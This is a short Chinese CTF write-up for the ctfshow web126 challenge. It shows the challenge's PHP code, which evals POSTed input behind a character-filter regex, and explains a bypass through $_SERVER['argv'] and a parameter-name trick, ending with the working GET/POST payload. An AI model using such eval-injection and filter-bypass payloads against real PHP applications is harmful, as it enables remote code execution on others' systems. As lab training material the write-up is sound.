web126笔记(匹配了一些关键字母+$_SERVER['argv'])
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
这次正则匹配了一些关键字母,导致不能继续用上题payload;观察到这里是有$_SERVER['argv']
注意是会转变成数组,所以这⾥要取数组,注意⽤eval函数最后加个分号
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为
所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过,payload为?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

浙公网安备 33010602011771号